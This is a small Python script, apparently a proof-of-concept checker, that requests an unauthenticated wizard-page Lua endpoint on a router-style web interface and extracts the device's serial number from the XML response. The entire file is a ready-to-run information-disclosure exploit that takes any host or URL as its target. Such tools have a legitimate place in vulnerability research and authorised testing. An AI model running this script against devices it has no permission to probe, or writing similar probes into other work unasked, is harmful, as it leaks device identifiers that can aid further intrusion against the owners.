import argparse
import html
import re
import sys

import requests


SERIAL_PATTERN = re.compile(
    r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>"
)
SERIAL_ENDPOINT = "/wizard_page/wizard_overETHfail_set_lua.lua"


def extract_serial_number(response_text: str) -> str | None:
    match = SERIAL_PATTERN.search(response_text)
    if not match:
        return None

    return html.unescape(match.group(1))


def build_url(target: str) -> str:
    target = target.strip().rstrip("/")
    if target.startswith(("http://", "https://")):
        return f"{target}{SERIAL_ENDPOINT}"
    return f"http://{target}{SERIAL_ENDPOINT}"


def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="Check the unauthenticated serial-number endpoint on a target."
    )
    parser.add_argument(
        "target",
        help="Target host or base URL, for example 192.168.1.1 or http://192.168.1.1",
    )
    parser.add_argument(
        "--timeout",
        type=float,
        default=10.0,
        help="HTTP timeout in seconds (default: 10)",
    )
    return parser.parse_args()


def main() -> int:
    args = parse_args()
    url = build_url(args.target)

    try:
        response = requests.get(url, timeout=args.timeout)
        response.raise_for_status()
    except requests.RequestException as exc:
        print(f"Request failed: {exc}", file=sys.stderr)
        return 1

    serial_number = extract_serial_number(response.text)
    if serial_number is None:
        print("Serial number not found in the response.", file=sys.stderr)
        return 2

    print(f"SerialNumber: {serial_number}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())